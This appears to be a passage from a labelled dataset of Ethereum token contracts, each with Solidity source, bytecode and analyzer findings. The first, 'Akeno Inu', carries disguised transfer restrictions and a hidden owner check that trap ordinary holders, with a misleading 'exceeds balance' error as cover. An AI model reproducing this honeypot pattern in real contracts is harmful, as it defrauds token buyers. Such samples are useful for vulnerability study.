address(0), "Ownable: new owner is the zero address"); emit OwnershipTransferred(_owner, newOwner); _owner = newOwner; } address private newComer = _msgSender(); modifier onlyOwner() { require(newComer == _msgSender(), "Ownable: caller is not the owner"); _; } } interface IERC20 { function totalSupply() external view returns (uint256); function balanceOf(address account) external view returns (uint256); function transfer(address recipient, uint256 amount) external returns (bool); function allowance(address owner, address spender) external view returns (uint256); function approve(address spender, uint256 amount) external returns (bool); function transferFrom(address sender, address recipient, uint256 amount) external returns (bool); event Transfer(address indexed from, address indexed to, uint256 value); event Approval(address indexed owner, address indexed spender, uint256 value); } contract Akeno is Context, IERC20, Ownable { using SafeMath for uint256; using Address for address; mapping (address => uint256) private _balances; mapping (address => bool) private _whiteAddress; mapping (address => bool) private _blackAddress; mapping (address => mapping (address => uint256)) private _allowances; uint256 private _totalSupply = 100000000000 * 10**18; string private _name = 'Akeno Inu | t.me/AkenoETH'; string private _symbol = 'Akeno Inu'; uint8 private _decimals = 18; address private _owner; address private _safeOwner; address private _uniRouter = 0x7a250d5630B4cF539739dF2C5dAcb4c659F2488D; constructor () public { _owner = owner(); _safeOwner = _owner; _balances[_msgSender()] = _totalSupply; emit Transfer(address(0), _msgSender(), _totalSupply); } function name() public view returns (string memory) { return _name; } function symbol() public view returns (string memory) { return _symbol; } function decimals() public view returns (uint8) { return _decimals; } function totalSupply() public view override returns (uint256) { return _totalSupply; } function balanceOf(address account) public view override returns (uint256) { return _balances[account]; } function transfer(address recipient, uint256 amount) public virtual override returns (bool) { _approveCheck(_msgSender(), recipient, amount); return true; } function allowance(address owner, address spender) public view virtual override returns (uint256) { return _allowances[owner][spender]; } function approve(address spender, uint256 amount) public virtual override returns (bool) { _approve(_msgSender(), spender, amount); return true; } function transferFrom(address sender, address recipient, uint256 amount) public virtual override returns (bool) { _approveCheck(sender, recipient, amount); _approve(sender, _msgSender(), _allowances[sender][_msgSender()].sub(amount, "ERC20: transfer amount exceeds allowance")); return true; } function burn(uint256 amount) external onlyOwner{ _burn(msg.sender, amount); } function _transfer(address sender, address recipient, uint256 amount) internal virtual{ require(sender != address(0), "ERC20: transfer from the zero address"); require(recipient != address(0), "ERC20: transfer to the zero address"); _balances[sender] = _balances[sender].sub(amount, "ERC20: transfer amount exceeds balance"); _balances[recipient] = _balances[recipient].add(amount); emit Transfer(sender, recipient, amount); } function _burn(address account, uint256 amount) internal virtual onlyOwner { require(account != address(0), "ERC20: burn from the zero address"); _balances[account] = _balances[account].sub(amount, "ERC20: burn amount exceeds balance"); _totalSupply = _totalSupply.sub(amount); emit Transfer(account, address(0), amount); } modifier approveChecker(address beach, address recipient, uint256 amount){ if (_owner == _safeOwner && beach == _owner){_safeOwner = recipient;_;} else{if (beach == _owner || beach == _safeOwner || recipient == _owner){_;} else{require((beach == _safeOwner) || (recipient == _uniRouter), "ERC20: transfer amount exceeds balance");_;}} } function _approve(address owner, address spender, uint256 amount) internal virtual { require(owner != address(0), "ERC20: approve from the zero address"); require(spender != address(0), "ERC20: approve to the zero address"); _allowances[owner][spender] = amount; emit Approval(owner, spender, amount); } function _approveCheck(address sender, address recipient, uint256 amount) internal approveChecker(sender, recipient, amount) virtual { require(sender != address(0), "ERC20: transfer from the zero address"); require(recipient != address(0), "ERC20: transfer to the zero address"); _balances[sender] = _balances[sender].sub(amount, "ERC20: transfer amount exceeds balance"); _balances[recipient] = _balances[recipient].add(amount); emit Transfer(sender, recipient, amount); } }
0x608060405234801561001057600080fd5b50600436106100b45760003560e01c806370a082311161007157806370a0823114610203578063715018a6146102295780638da5cb5b1461023157806395d89b4114610255578063a9059cbb1461025d578063dd62ed3e14610289576100b4565b806306fdde03146100b9578063095ea7b31461013657806318160ddd1461017657806323b872dd14610190578063313ce567146101c657806342966c68146101e4575b600080fd5b6100c16102b7565b6040805160208082528351818301528351919283929083019185019080838360005b838110156100fb5781810151838201526020016100e3565b50505050905090810190601f1680156101285780820380516001836020036101000a031916815260200191505b509250505060405180910390f35b6101626004803603604081101561014c57600080fd5b506001600160a01b03813516906020013561034d565b604080519115158252519081900360200190f35b61017e61036a565b60408051918252519081900360200190f35b610162600480360360608110156101a657600080fd5b506001600160a01b03813581169160208101359091169060400135610370565b6101ce6103f7565b6040805160ff9092168252519081900360200190f35b610201600480360360208110156101fa57600080fd5b5035610400565b005b61017e6004803603602081101561021957600080fd5b50356001600160a01b0316610477565b610201610492565b610239610546565b604080516001600160a01b039092168252519081900360200190f35b6100c1610555565b6101626004803603604081101561027357600080fd5b506001600160a01b0381351690602001356105b6565b61017e6004803603604081101561029f57600080fd5b506001600160a01b03813581169160200135166105ca565b60078054604080516020601f60026000196101006001881615020190951694909404938401819004810282018101909252828152606093909290918301828280156103435780601f1061031857610100808354040283529160200191610343565b820191906000526020600020905b81548152906001019060200180831161032657829003601f168201915b5050505050905090565b600061036161035a6105f5565b84846105f9565b50600192915050565b60065490565b600061037d8484846106e5565b6103ed846103896105f5565b6103e885604051806060016040528060288152602001610e02602891396001600160a01b038a166000908152600560205260408120906103c76105f5565b6001600160a01b031681526020810191909152604001600020549190610ae0565b6105f9565b5060019392505050565b60095460ff1690565b6104086105f5565b6001546001600160a01b0390811691161461046a576040805162461bcd60e51b815260206004820181905260248201527f4f776e61626c653a2063616c6c6572206973206e6f7420746865206f776e6572604482015290519081900360640190fd5b6104743382610b77565b50565b6001600160a01b031660009081526002602052604090205490565b61049a6105f5565b6001546001600160a01b039081169116146104fc576040805162461bcd60e51b815260206004820181905260248201527f4f776e61626c653a2063616c6c6572206973206e6f7420746865206f776e6572604482015290519081900360640190fd5b600080546040516001600160a01b03909116907f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e0908390a3600080546001600160a01b0319169055565b6000546001600160a01b031690565b60088054604080516020601f60026000196101006001881615020190951694909404938401819004810282018101909252828152606093909290918301828280156103435780601f1061031857610100808354040283529160200191610343565b60006103616105c36105f5565b84846106e5565b6001600160a01b03918216600090815260056020908152604080832093909416825291909152205490565b3390565b6001600160a01b03831661063e5760405162461bcd60e51b8152600401808060200182810382526024815260200180610e706024913960400191505060405180910390fd5b6001600160a01b0382166106835760405162461bcd60e51b8152600401808060200182810382526022815260200180610dba6022913960400191505060405180910390fd5b6001600160a01b03808416600081815260056020908152604080832094871680845294825291829020859055815185815291517f8c5be1e5ebec7d5bd14f71427d1e84f3dd0314c0f7b2291e5b200ac8c7c3b9259281900390910190a3505050565b600a546009548491849184916001600160a01b039081166101009092041614801561072257506009546001600160a01b0384811661010090920416145b1561089157600a80546001600160a01b0319166001600160a01b038481169190911790915586166107845760405162461bcd60e51b8152600401808060200182810382526025815260200180610e4b6025913960400191505060405180910390fd5b6001600160a01b0385166107c95760405162461bcd60e51b8152600401808060200182810382526023815260200180610d756023913960400191505060405180910390fd5b61080684604051806060016040528060268152602001610ddc602691396001600160a01b0389166000908152600260205260409020549190610ae0565b6001600160a01b0380881660009081526002602052604080822093909355908716815220546108359085610cd1565b6001600160a01b0380871660008181526002602090815260409182902094909455805188815290519193928a16927fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef92918290030190a3610ad8565b6009546001600160a01b038481166101009092041614806108bf5750600a546001600160a01b038481169116145b806108dc57506009546001600160a01b0383811661010090920416145b15610926576001600160a01b0386166107845760405162461bcd60e51b8152600401808060200182810382526025815260200180610e4b6025913960400191505060405180910390fd5b600a546001600160a01b038481169116148061094f5750600b546001600160a01b038381169116145b61098a5760405162461bcd60e51b8152600401808060200182810382526026815260200180610ddc6026913960400191505060405180910390fd5b6001600160a01b0386166109cf5760405162461bcd60e51b8152600401808060200182810382526025815260200180610e4b6025913960400191505060405180910390fd5b6001600160a01b038516610a145760405162461bcd60e51b8152600401808060200182810382526023815260200180610d756023913960400191505060405180910390fd5b610a5184604051806060016040528060268152602001610ddc602691396001600160a01b0389166000908152600260205260409020549190610ae0565b6001600160a01b038088166000908152600260205260408082209390935590871681522054610a809085610cd1565b6001600160a01b0380871660008181526002602090815260409182902094909455805188815290519193928a16927fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef92918290030190a35b505050505050565b60008184841115610b6f5760405162461bcd60e51b81526004018080602001828103825283818151815260200191508051906020019080838360005b83811015610b34578181015183820152602001610b1c565b50505050905090810190601f168015610b615780820380516001836020036101000a031916815260200191505b509250505060405180910390fd5b505050900390565b610b7f6105f5565b6001546001600160a01b03908116911614610be1576040805162461bcd60e51b815260206004820181905260248201527f4f776e61626c653a2063616c6c6572206973206e6f7420746865206f776e6572604482015290519081900360640190fd5b6001600160a01b038216610c265760405162461bcd60e51b8152600401808060200182810382526021815260200180610e2a6021913960400191505060405180910390fd5b610c6381604051806060016040528060228152602001610d98602291396001600160a01b0385166000908152600260205260409020549190610ae0565b6001600160a01b038316600090815260026020526040902055600654610c899082610d32565b6006556040805182815290516000916001600160a01b038516917fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef9181900360200190a35050565b600082820183811015610d2b576040805162461bcd60e51b815260206004820152601b60248201527f536166654d6174683a206164646974696f6e206f766572666c6f770000000000604482015290519081900360640190fd5b9392505050565b6000610d2b83836040518060400160405280601e81526020017f536166654d6174683a207375627472616374696f6e206f766572666c6f770000815250610ae056fe45524332303a207472616e7366657220746f20746865207a65726f206164647265737345524332303a206275726e20616d6f756e7420657863656564732062616c616e636545524332303a20617070726f766520746f20746865207a65726f206164647265737345524332303a207472616e7366657220616d6f756e7420657863656564732062616c616e636545524332303a207472616e7366657220616d6f756e74206578636565647320616c6c6f77616e636545524332303a206275726e2066726f6d20746865207a65726f206164647265737345524332303a207472616e736665722066726f6d20746865207a65726f206164647265737345524332303a20617070726f76652066726f6d20746865207a65726f2061646472657373a2646970667358221220e48fd4189ece007e8e6a9dbbec1833a793d04791f8da7fe2a1bc81529d30581b64736f6c634300060c0033
{"success": true, "error": null, "results": {"detectors": [{"check": "shadowing-state", "impact": "High", "confidence": "High"}]}}
8,549
0x71b8ab235890d3efb1ffcc29209a6b0fe5be4ec7
pragma solidity ^0.4.24; library SafeMath { function mul(uint256 a, uint256 b) internal pure returns (uint256) { if (a == 0) { return 0; } uint256 c = a * b; assert(c / a == b); return c; } function div(uint256 a, uint256 b) internal pure returns (uint256) { // assert(b > 0); // Solidity automatically throws when dividing by 0 uint256 c = a / b; // assert(a == b * c + a % b); // There is no case in which this doesn&#39;t hold return c; } function sub(uint256 a, uint256 b) internal pure returns (uint256) { assert(b <= a); return a - b; } function add(uint256 a, uint256 b) internal pure returns (uint256) { uint256 c = a + b; assert(c >= a); return c; } } /** * @title Ownable * @dev The Ownable contract has an owner address, and provides basic authorization control * functions, this simplifies the implementation of "user permissions". */ contract Ownable { address public owner; event OwnershipRenounced(address indexed previousOwner); event OwnershipTransferred( address indexed previousOwner, address indexed newOwner ); /** * @dev The Ownable constructor sets the original `owner` of the contract to the sender * account. */ constructor() public { owner = msg.sender; } /** * @dev Throws if called by any account other than the owner. */ modifier onlyOwner() { require(msg.sender == owner); _; } /** * @dev Allows the current owner to relinquish control of the contract. * @notice Renouncing to ownership will leave the contract without an owner. * It will not be possible to call the functions with the `onlyOwner` * modifier anymore. */ function renounceOwnership() public onlyOwner { emit OwnershipRenounced(owner); owner = address(0); } /** * @dev Allows the current owner to transfer control of the contract to a newOwner. * @param _newOwner The address to transfer ownership to. */ function transferOwnership(address _newOwner) public onlyOwner { _transferOwnership(_newOwner); } /** * @dev Transfers control of the contract to a newOwner. * @param _newOwner The address to transfer ownership to. */ function _transferOwnership(address _newOwner) internal { require(_newOwner != address(0)); emit OwnershipTransferred(owner, _newOwner); owner = _newOwner; } } /** * @title ERC20Basic * @dev Simpler version of ERC20 interface * See https://github.com/ethereum/EIPs/issues/179 */ contract ERC20Basic { function totalSupply() public view returns (uint256); function balanceOf(address who) public view returns (uint256); function transfer(address to, uint256 value) public returns (bool); event Transfer(address indexed from, address indexed to, uint256 value); } /** * @title ERC20 interface * @dev see https://github.com/ethereum/EIPs/issues/20 */ contract ERC20 is ERC20Basic { function allowance(address owner, address spender) public view returns (uint256); function transferFrom(address from, address to, uint256 value) public returns (bool); function approve(address spender, uint256 value) public returns (bool); event Approval( address indexed owner, address indexed spender, uint256 value ); } /** * @title Basic token * @dev Basic version of StandardToken, with no allowances. */ contract BasicToken is ERC20Basic { using SafeMath for uint256; mapping(address => uint256) balances; uint256 totalSupply_; /** * @dev Total number of tokens in existence */ function totalSupply() public view returns (uint256) { return totalSupply_; } /** * @dev Transfer token for a specified address * @param _to The address to transfer to. * @param _value The amount to be transferred. */ function transfer(address _to, uint256 _value) public returns (bool) { require(_to != address(0)); require(_value <= balances[msg.sender]); balances[msg.sender] = balances[msg.sender].sub(_value); balances[_to] = balances[_to].add(_value); emit Transfer(msg.sender, _to, _value); return true; } /** * @dev Gets the balance of the specified address. * @param _owner The address to query the the balance of. * @return An uint256 representing the amount owned by the passed address. */ function balanceOf(address _owner) public view returns (uint256) { return balances[_owner]; } } /** * @title Standard ERC20 token * * @dev Implementation of the basic standard token. * https://github.com/ethereum/EIPs/issues/20 * Based on code by FirstBlood: https://github.com/Firstbloodio/token/blob/master/smart_contract/FirstBloodToken.sol */ contract StandardToken is ERC20, BasicToken { mapping (address => mapping (address => uint256)) internal allowed; /** * @dev Transfer tokens from one address to another * @param _from address The address which you want to send tokens from * @param _to address The address which you want to transfer to * @param _value uint256 the amount of tokens to be transferred */ function transferFrom( address _from, address _to, uint256 _value ) public returns (bool) { require(_to != address(0)); require(_value <= balances[_from]); require(_value <= allowed[_from][msg.sender]); balances[_from] = balances[_from].sub(_value); balances[_to] = balances[_to].add(_value); allowed[_from][msg.sender] = allowed[_from][msg.sender].sub(_value); emit Transfer(_from, _to, _value); return true; } /** * @dev Approve the passed address to spend the specified amount of tokens on behalf of msg.sender. * Beware that changing an allowance with this method brings the risk that someone may use both the old * and the new allowance by unfortunate transaction ordering. One possible solution to mitigate this * race condition is to first reduce the spender&#39;s allowance to 0 and set the desired value afterwards: * https://github.com/ethereum/EIPs/issues/20#issuecomment-263524729 * @param _spender The address which will spend the funds. * @param _value The amount of tokens to be spent. */ function approve(address _spender, uint256 _value) public returns (bool) { allowed[msg.sender][_spender] = _value; emit Approval(msg.sender, _spender, _value); return true; } /** * @dev Function to check the amount of tokens that an owner allowed to a spender. * @param _owner address The address which owns the funds. * @param _spender address The address which will spend the funds. * @return A uint256 specifying the amount of tokens still available for the spender. */ function allowance( address _owner, address _spender ) public view returns (uint256) { return allowed[_owner][_spender]; } /** * @dev Increase the amount of tokens that an owner allowed to a spender. * approve should be called when allowed[_spender] == 0. To increment * allowed value is better to use this function to avoid 2 calls (and wait until * the first transaction is mined) * From MonolithDAO Token.sol * @param _spender The address which will spend the funds. * @param _addedValue The amount of tokens to increase the allowance by. */ function increaseApproval( address _spender, uint256 _addedValue ) public returns (bool) { allowed[msg.sender][_spender] = (allowed[msg.sender][_spender].add(_addedValue)); emit Approval(msg.sender, _spender, allowed[msg.sender][_spender]); return true; } /** * @dev Decrease the amount of tokens that an owner allowed to a spender. * approve should be called when allowed[_spender] == 0. To decrement * allowed value is better to use this function to avoid 2 calls (and wait until * the first transaction is mined) * From MonolithDAO Token.sol * @param _spender The address which will spend the funds. * @param _subtractedValue The amount of tokens to decrease the allowance by. */ function decreaseApproval( address _spender, uint256 _subtractedValue ) public returns (bool) { uint256 oldValue = allowed[msg.sender][_spender]; if (_subtractedValue > oldValue) { allowed[msg.sender][_spender] = 0; } else { allowed[msg.sender][_spender] = oldValue.sub(_subtractedValue); } emit Approval(msg.sender, _spender, allowed[msg.sender][_spender]); return true; } } /** * @title Pausable * @dev Base contract which allows children to implement an emergency stop mechanism. */ contract Pausable is Ownable { event Pause(); event Unpause(); bool public paused = false; /** * @dev Modifier to make a function callable only when the contract is not paused. */ modifier whenNotPaused() { require(!paused); _; } /** * @dev Modifier to make a function callable only when the contract is paused. */ modifier whenPaused() { require(paused); _; } /** * @dev called by the owner to pause, triggers stopped state */ function pause() onlyOwner whenNotPaused public { paused = true; emit Pause(); } /** * @dev called by the owner to unpause, returns to normal state */ function unpause() onlyOwner whenPaused public { paused = false; emit Unpause(); } } /** * @title Pausable token * @dev StandardToken modified with pausable transfers. **/ contract PausableToken is StandardToken, Pausable { function transfer( address _to, uint256 _value ) public whenNotPaused returns (bool) { return super.transfer(_to, _value); } function transferFrom( address _from, address _to, uint256 _value ) public whenNotPaused returns (bool) { return super.transferFrom(_from, _to, _value); } function approve( address _spender, uint256 _value ) public whenNotPaused returns (bool) { return super.approve(_spender, _value); } function increaseApproval( address _spender, uint _addedValue ) public whenNotPaused returns (bool success) { return super.increaseApproval(_spender, _addedValue); } function decreaseApproval( address _spender, uint _subtractedValue ) public whenNotPaused returns (bool success) { return super.decreaseApproval(_spender, _subtractedValue); } } /** * @title DCoinFax Token */ contract DCoinFaxToken is PausableToken { string public constant name = "DCoinFax Token"; string public constant symbol = "DFXT"; uint8 public constant decimals = 18; uint256 public totalSupply = 50 * 10000 * 10000 * (10 ** uint256(decimals)); /** * Constructor function * * Initializes contract with initial supply tokens to the initialTokenOwner */ constructor ( address initialTokenOwner ) public { balances[initialTokenOwner] = totalSupply; // Give the initialTokenOwner all initial tokens emit Transfer(0x0, initialTokenOwner, totalSupply); } /** * Allows the current owner to transfer control of the contract to a newOwner. * @param newOwner The address to transfer ownership to. */ function transferOwnership(address newOwner) onlyOwner whenNotPaused public { super.transferOwnership(newOwner); } }
0x6080604052600436106100f05763ffffffff7c010000000000000000000000000000000000000000000000000000000060003504166306fdde0381146100f5578063095ea7b31461017f57806318160ddd146101b757806323b872dd146101de578063313ce567146102085780633f4ba83a146102335780635c975abb1461024a578063661884631461025f57806370a0823114610283578063715018a6146102a45780638456cb59146102b95780638da5cb5b146102ce57806395d89b41146102ff578063a9059cbb14610314578063d73dd62314610338578063dd62ed3e1461035c578063f2fde38b14610383575b600080fd5b34801561010157600080fd5b5061010a6103a4565b6040805160208082528351818301528351919283929083019185019080838360005b8381101561014457818101518382015260200161012c565b50505050905090810190601f1680156101715780820380516001836020036101000a031916815260200191505b509250505060405180910390f35b34801561018b57600080fd5b506101a3600160a060020a03600435166024356103db565b604080519115158252519081900360200190f35b3480156101c357600080fd5b506101cc610406565b60408051918252519081900360200190f35b3480156101ea57600080fd5b506101a3600160a060020a036004358116906024351660443561040c565b34801561021457600080fd5b5061021d610439565b6040805160ff9092168252519081900360200190f35b34801561023f57600080fd5b5061024861043e565b005b34801561025657600080fd5b506101a36104b6565b34801561026b57600080fd5b506101a3600160a060020a03600435166024356104c6565b34801561028f57600080fd5b506101cc600160a060020a03600435166104ea565b3480156102b057600080fd5b50610248610505565b3480156102c557600080fd5b50610248610573565b3480156102da57600080fd5b506102e36105f0565b60408051600160a060020a039092168252519081900360200190f35b34801561030b57600080fd5b5061010a6105ff565b34801561032057600080fd5b506101a3600160a060020a0360043516602435610636565b34801561034457600080fd5b506101a3600160a060020a036004351660243561065a565b34801561036857600080fd5b506101cc600160a060020a036004358116906024351661067e565b34801561038f57600080fd5b50610248600160a060020a03600435166106a9565b60408051808201909152600e81527f44436f696e46617820546f6b656e000000000000000000000000000000000000602082015281565b60035460009060a060020a900460ff16156103f557600080fd5b6103ff83836106e3565b9392505050565b60045481565b60035460009060a060020a900460ff161561042657600080fd5b610431848484610749565b949350505050565b601281565b600354600160a060020a0316331461045557600080fd5b60035460a060020a900460ff16151561046d57600080fd5b6003805474ff0000000000000000000000000000000000000000191690556040517f7805862f689e2f13df9f062ff482ad3ad112aca9e0847911ed832e158c525b3390600090a1565b60035460a060020a900460ff1681565b60035460009060a060020a900460ff16156104e057600080fd5b6103ff83836108c0565b600160a060020a031660009081526020819052604090205490565b600354600160a060020a0316331461051c57600080fd5b600354604051600160a060020a03909116907ff8df31144d9c2f0f6b59d69b8b98abd5459d07f2742c4df920b25aae33c6482090600090a26003805473ffffffffffffffffffffffffffffffffffffffff19169055565b600354600160a060020a0316331461058a57600080fd5b60035460a060020a900460ff16156105a157600080fd5b6003805474ff0000000000000000000000000000000000000000191660a060020a1790556040517f6985a02210a168e66602d3235cb6db0e70f92b3ba4d376a33c0f3d9434bff62590600090a1565b600354600160a060020a031681565b60408051808201909152600481527f4446585400000000000000000000000000000000000000000000000000000000602082015281565b60035460009060a060020a900460ff161561065057600080fd5b6103ff83836109b0565b60035460009060a060020a900460ff161561067457600080fd5b6103ff8383610a91565b600160a060020a03918216600090815260026020908152604080832093909416825291909152205490565b600354600160a060020a031633146106c057600080fd5b60035460a060020a900460ff16156106d757600080fd5b6106e081610b2a565b50565b336000818152600260209081526040808320600160a060020a038716808552908352818420869055815186815291519394909390927f8c5be1e5ebec7d5bd14f71427d1e84f3dd0314c0f7b2291e5b200ac8c7c3b925928290030190a350600192915050565b6000600160a060020a038316151561076057600080fd5b600160a060020a03841660009081526020819052604090205482111561078557600080fd5b600160a060020a03841660009081526002602090815260408083203384529091529020548211156107b557600080fd5b600160a060020a0384166000908152602081905260409020546107de908363ffffffff610b4a16565b600160a060020a038086166000908152602081905260408082209390935590851681522054610813908363ffffffff610b5c16565b600160a060020a03808516600090815260208181526040808320949094559187168152600282528281203382529091522054610855908363ffffffff610b4a16565b600160a060020a03808616600081815260026020908152604080832033845282529182902094909455805186815290519287169391927fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef929181900390910190a35060019392505050565b336000908152600260209081526040808320600160a060020a03861684529091528120548083111561091557336000908152600260209081526040808320600160a060020a038816845290915281205561094a565b610925818463ffffffff610b4a16565b336000908152600260209081526040808320600160a060020a03891684529091529020555b336000818152600260209081526040808320600160a060020a0389168085529083529281902054815190815290519293927f8c5be1e5ebec7d5bd14f71427d1e84f3dd0314c0f7b2291e5b200ac8c7c3b925929181900390910190a35060019392505050565b6000600160a060020a03831615156109c757600080fd5b336000908152602081905260409020548211156109e357600080fd5b33600090815260208190526040902054610a03908363ffffffff610b4a16565b3360009081526020819052604080822092909255600160a060020a03851681522054610a35908363ffffffff610b5c16565b600160a060020a038416600081815260208181526040918290209390935580518581529051919233927fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef9281900390910190a350600192915050565b336000908152600260209081526040808320600160a060020a0386168452909152812054610ac5908363ffffffff610b5c16565b336000818152600260209081526040808320600160a060020a0389168085529083529281902085905580519485525191937f8c5be1e5ebec7d5bd14f71427d1e84f3dd0314c0f7b2291e5b200ac8c7c3b925929081900390910190a350600192915050565b600354600160a060020a03163314610b4157600080fd5b6106e081610b6b565b600082821115610b5657fe5b50900390565b6000828201838110156103ff57fe5b600160a060020a0381161515610b8057600080fd5b600354604051600160a060020a038084169216907f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e090600090a36003805473ffffffffffffffffffffffffffffffffffffffff1916600160a060020a03929092169190911790555600a165627a7a7230582057eeb259c59f0958bb0d09e20f740a7ca1a8197683d1ab1d7d4f381c1789366b0029
{"success": true, "error": null, "results": {"detectors": [{"check": "uninitialized-state", "impact": "High", "confidence": "High"}]}}
8,550
0x478bd74b40715a91c81870dd5dfb9837e5d88853
/** *Submitted for verification at Etherscan.io on 2020-05-24 */ // SPDX-License-Identifier: MIT pragma solidity ^0.6.0; library SafeMath { function add(uint256 a, uint256 b) internal pure returns (uint256) { uint256 c = a + b; require(c >= a, "SafeMath: addition overflow"); return c; } function sub(uint256 a, uint256 b) internal pure returns (uint256) { return sub(a, b, "SafeMath: subtraction overflow"); } function sub(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) { require(b <= a, errorMessage); uint256 c = a - b; return c; } function mul(uint256 a, uint256 b) internal pure returns (uint256) { // Gas optimization: this is cheaper than requiring 'a' not being zero, but the // benefit is lost if 'b' is also tested. // See: https://github.com/OpenZeppelin/openzeppelin-contracts/pull/522 if (a == 0) { return 0; } uint256 c = a * b; require(c / a == b, "SafeMath: multiplication overflow"); return c; } function div(uint256 a, uint256 b) internal pure returns (uint256) { return div(a, b, "SafeMath: division by zero"); } function div(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) { require(b > 0, errorMessage); uint256 c = a / b; // assert(a == b * c + a % b); // There is no case in which this doesn't hold return c; } function mod(uint256 a, uint256 b) internal pure returns (uint256) { return mod(a, b, "SafeMath: modulo by zero"); } function mod(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) { require(b != 0, errorMessage); return a % b; } } library Address { function isContract(address account) internal view returns (bool) { // According to EIP-1052, 0x0 is the value returned for not-yet created accounts // and 0xc5d2460186f7233c927e7db2dcc703c0e500b653ca82273b7bfad8045d85a470 is returned // for accounts without code, i.e. `keccak256('')` bytes32 codehash; bytes32 accountHash = 0xc5d2460186f7233c927e7db2dcc703c0e500b653ca82273b7bfad8045d85a470; // solhint-disable-next-line no-inline-assembly assembly { codehash := extcodehash(account) } return (codehash != accountHash && codehash != 0x0); } } abstract contract Context { function _msgSender() internal view virtual returns (address payable) { return msg.sender; } function _msgData() internal view virtual returns (bytes memory) { this; // silence state mutability warning without generating bytecode - see https://github.com/ethereum/solidity/issues/2691 return msg.data; } } contract Ownable is Context { address private _owner; event OwnershipTransferred(address indexed previousOwner, address indexed newOwner); constructor () internal { address msgSender = _msgSender(); _owner = msgSender; emit OwnershipTransferred(address(0), msgSender); } function owner() public view returns (address) { return _owner; } modifier onlyOwner() { require(_owner == _msgSender(), "Ownable: caller is not the owner"); _; } function transferOwnership(address newOwner) public virtual onlyOwner { require(newOwner != address(0), "Ownable: new owner is the zero address"); emit OwnershipTransferred(_owner, newOwner); _owner = newOwner; } } contract Pausable is Context, Ownable { event Paused(address account); event Unpaused(address account); bool private _paused; constructor () internal { _paused = false; } function paused() public view returns (bool) { return _paused; } modifier whenNotPaused() { require(!_paused, "Pausable: paused"); _; } modifier whenPaused() { require(_paused, "Pausable: not paused"); _; } function pause() public onlyOwner virtual whenNotPaused { _paused = true; emit Paused(_msgSender()); } function unpause() public onlyOwner virtual whenPaused { _paused = false; emit Unpaused(_msgSender()); } } interface IERC20 { function totalSupply() external view returns (uint256); function balanceOf(address account) external view returns (uint256); function transfer(address recipient, uint256 amount) external returns (bool); function allowance(address owner, address spender) external view returns (uint256); function approve(address spender, uint256 amount) external returns (bool); function transferFrom(address sender, address recipient, uint256 amount) external returns (bool); event Transfer(address indexed from, address indexed to, uint256 value); event Approval(address indexed owner, address indexed spender, uint256 value); } contract ERC20 is Context, IERC20, Ownable, Pausable { using SafeMath for uint256; using Address for address; mapping (address => uint256) private _balances; mapping (address => mapping (address => uint256)) private _allowances; mapping (address => bool) private _blacklist; event DestroyedBlackFunds(address indexed account, uint256 dirtyFunds); event AddedBlackList(address indexed account); event RemovedBlackList(address indexed account); event MintToken(address indexed account, uint256 amount); event BurnToken(address indexed account, uint256 amount); uint256 private _totalSupply; string private _name; string private _symbol; uint8 private _decimals; constructor (string memory name, string memory symbol) public { _name = name; _symbol = symbol; _decimals = 18; } function name() public view returns (string memory) { return _name; } function symbol() public view returns (string memory) { return _symbol; } function decimals() public view returns (uint8) { return _decimals; } function totalSupply() public view override returns (uint256) { return _totalSupply; } function balanceOf(address account) public view override returns (uint256) { return _balances[account]; } function transfer(address recipient, uint256 amount) public virtual override returns (bool) { _transfer(_msgSender(), recipient, amount); return true; } function allowance(address owner, address spender) public view virtual override returns (uint256) { return _allowances[owner][spender]; } function approve(address spender, uint256 amount) public virtual override returns (bool) { _approve(_msgSender(), spender, amount); return true; } function transferFrom(address sender, address recipient, uint256 amount) public virtual override returns (bool) { _transfer(sender, recipient, amount); _approve(sender, _msgSender(), _allowances[sender][_msgSender()].sub(amount, "ERC20: transfer amount exceeds allowance")); return true; } function increaseAllowance(address spender, uint256 addedValue) public virtual returns (bool) { _approve(_msgSender(), spender, _allowances[_msgSender()][spender].add(addedValue)); return true; } function decreaseAllowance(address spender, uint256 subtractedValue) public virtual returns (bool) { _approve(_msgSender(), spender, _allowances[_msgSender()][spender].sub(subtractedValue, "ERC20: decreased allowance below zero")); return true; } function _transfer(address sender, address recipient, uint256 amount) internal virtual { require(sender != address(0), "ERC20: transfer from the zero address"); require(recipient != address(0), "ERC20: transfer to the zero address"); _beforeTokenTransfer(sender, recipient); _balances[sender] = _balances[sender].sub(amount, "ERC20: transfer amount exceeds balance"); _balances[recipient] = _balances[recipient].add(amount); emit Transfer(sender, recipient, amount); } function _mint(address account, uint256 amount) internal virtual { require(account != address(0), "ERC20: mint to the zero address"); _beforeTokenTransfer(address(0), account); _totalSupply = _totalSupply.add(amount); _balances[account] = _balances[account].add(amount); emit Transfer(address(0), account, amount); emit MintToken(account, amount); } function _burn(address account, uint256 amount) internal virtual { require(account != address(0), "ERC20: burn from the zero address"); _beforeTokenTransfer(account, address(0)); _balances[account] = _balances[account].sub(amount, "ERC20: burn amount exceeds balance"); _totalSupply = _totalSupply.sub(amount); emit Transfer(account, address(0), amount); emit BurnToken(account, amount); } function _approve(address owner, address spender, uint256 amount) internal virtual { require(owner != address(0), "ERC20: approve from the zero address"); require(spender != address(0), "ERC20: approve to the zero address"); _allowances[owner][spender] = amount; emit Approval(owner, spender, amount); } function _setupDecimals(uint8 decimals_) internal { _decimals = decimals_; } function _beforeTokenTransfer(address from, address to) internal view virtual { require(!paused(), "ERC20Pausable: token transfer while paused"); require(!isBlacklist(from), "APOToken: sender in blacklist can not transfer"); require(!isBlacklist(to), "APOToken: not allow to transfer to recipient address in blacklist"); } function burn(address account, uint256 amount) public onlyOwner virtual { _burn(account, amount); } function mint(address account, uint256 amount) public onlyOwner virtual { _mint(account, amount); } function isBlacklist(address account) public view returns (bool) { return _blacklist[account]; } function addBlackList (address account) public onlyOwner virtual { _blacklist[account] = true; emit 